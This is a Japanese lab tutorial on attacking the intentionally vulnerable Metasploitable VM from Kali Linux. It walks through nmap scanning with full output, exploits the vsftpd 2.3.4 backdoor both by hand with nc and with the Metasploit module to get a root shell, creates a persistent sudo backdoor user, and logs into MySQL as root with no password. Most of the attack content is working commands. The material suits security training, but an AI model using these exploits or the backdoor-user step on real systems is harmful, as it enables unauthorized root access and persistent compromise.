Metasploitable への各種攻撃
nmap でポートスキャン
nmap には様々なオプションがあり
概要やオプションに関しては
Nampスキャンの全コマンド・オプションを日本語解説|ネットワークのセキュリティーはNmapで抑えよう
を参考に
ポートスキャンせず Ping スキャンするなら
-sP や -sn オプションを使う
純粋に Ping スキャンするなら
-sn にしないと他に飛ばしているパケットの説明を求められる
これは-sP だとIMCPだけでなく
80,443 ポートにもおくるため
実験するならMetasploitable のIPを
ifconfig
で調べて
KaliLinux から
nmap -sn 192.168.1.137
とすればOK
Metasploitable でキャプチャになっているときには
右ctrl キーをおせば抜けられる
次にMetasploitable の開いているポート、サービスバージョン
OSの種類を調べる
-p-
全ポートのスキャン
ただし0番ポートと9100 は除く
-sV
サービスとバージョンの特定
-O
OSの特定
ただしバージョンまでは特定しない
これを Metasploitable に実行
nmap -sV -O -p- 192.168.1.137
結果は
Nmap scan report for 192.168.1.137 Host is up (0.00039s latency). Not shown: 65505 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec? 513/tcp open login 514/tcp open shell? 1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 6697/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb) 34001/tcp open status 1 (RPC #100024) 38465/tcp open mountd 1-3 (RPC #100005) 43648/tcp open nlockmgr 1-4 (RPC #100021) 53119/tcp open rmiregistry GNU Classpath grmiregistry 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port514-TCP:V=7.70%I=7%D=2/8%Time=5E3DD53C%P=x86_64-pc-linux-gnu%r(NULL SF:,2B,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(kali\)\ SF:n"); MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 128.06 seconds
となった
この中で攻撃に使われそうなのは
21/tcp open ftp vsftpd 2.3.4 1524/tcp open bindshell Metasploitable root shell 5900/tcp open vnc VNC (protocol 3.3)
まず vsftp2.3.4 向け Exploit を探す
CVE Details
などで調べることもできる
なども参考に
今回は Exploit Database で
検索
これによるとリモートからコマンド実行できるバックドアがあるとのこと
🙂 を含むユーザ名でFTPへログインすると
6200ポートにバックドアが開く
この状態で 6200 ポートにアクセスすることで
vsftpd の実行権限で任意のコマンドが実行できる
nc 192.168.1.137 21
というように
nc コマンドで Metasploitable のIPアドレス ポート番号
でアクセス
USER 任意のユーザ名
ユーザ名の最後に 🙂 をつける
PASS 任意のパスワード
とするとポートが開く
この状態で
別端末を
ctrl + alt + t で開き
nc -nv 192.168.1.137 6200
で接続
nc コマンドとオプションについては
使いたいときに必ず忘れる便利なコマンド「nc」
を参考に
これで
whoami コマンドで確認すると
root ユーザになっているのがわかる
whoami コマンドについては
【 whoami 】コマンド/【 groups 】コマンド――自分の名前と所属するグループを表示する
を参考に
また exploit のvsftpd_234_backdoor.rbのコードが
https://www.exploit-db.com/exploits/17491
にあり
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
でランダムなユーザ名のあとに 🙂 を
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
でパスワードの指定
としている
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
で6200ポートに接続できるか確認
実際に Metasploitable へ攻撃をするには
msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set rhost 192.168.1.137 exploit
で実行
なお
192.168.1.137 の部分は
Metasploitable のIPアドレス
プロンプトが帰ってこないけど
コマンドの実行はできる
whoami
とすると root であることがわかる
これで
useradd -m newuser -G sudo -s /bin/bash; passwd newuser
とするとバックドア用ユーザが作成でき
Enter new UNIX password:
となったら任意のパスワードをいれ
Retype new UNIX password:
となるので同じパスワードを入力する
このシェルから抜けるには
exit
を実行すればOK
msfコンソールからも抜けるのなら
exit
を再度実行すればOK
これで Metasploitable でログインするときに
newuser でのログインが可能になる
次にDBへのアクセス
Metasploitable のポート3306 が 開いているので
mysql での接続ができる
なおデフォルトでは root パスワードが設定されていないため
mysql -h 192.168.1.137 -u root
で簡単にログインできる
show databases
でDB一覧がみれる
+--------------------+ | Database | +--------------------+ | information_schema | | dvwa | | metasploit | | mysql | | owasp10 | | tikiwiki | | tikiwiki195 | +--------------------+
パスワードの状態を確認するには
[mysql]
use mysql;
select user,password from user;
[/sql]
を実行
結果として
+------------------+----------+ | user | password | +------------------+----------+ | debian-sys-maint | | | root | | | guest | | +------------------+----------+
となっているのがわかる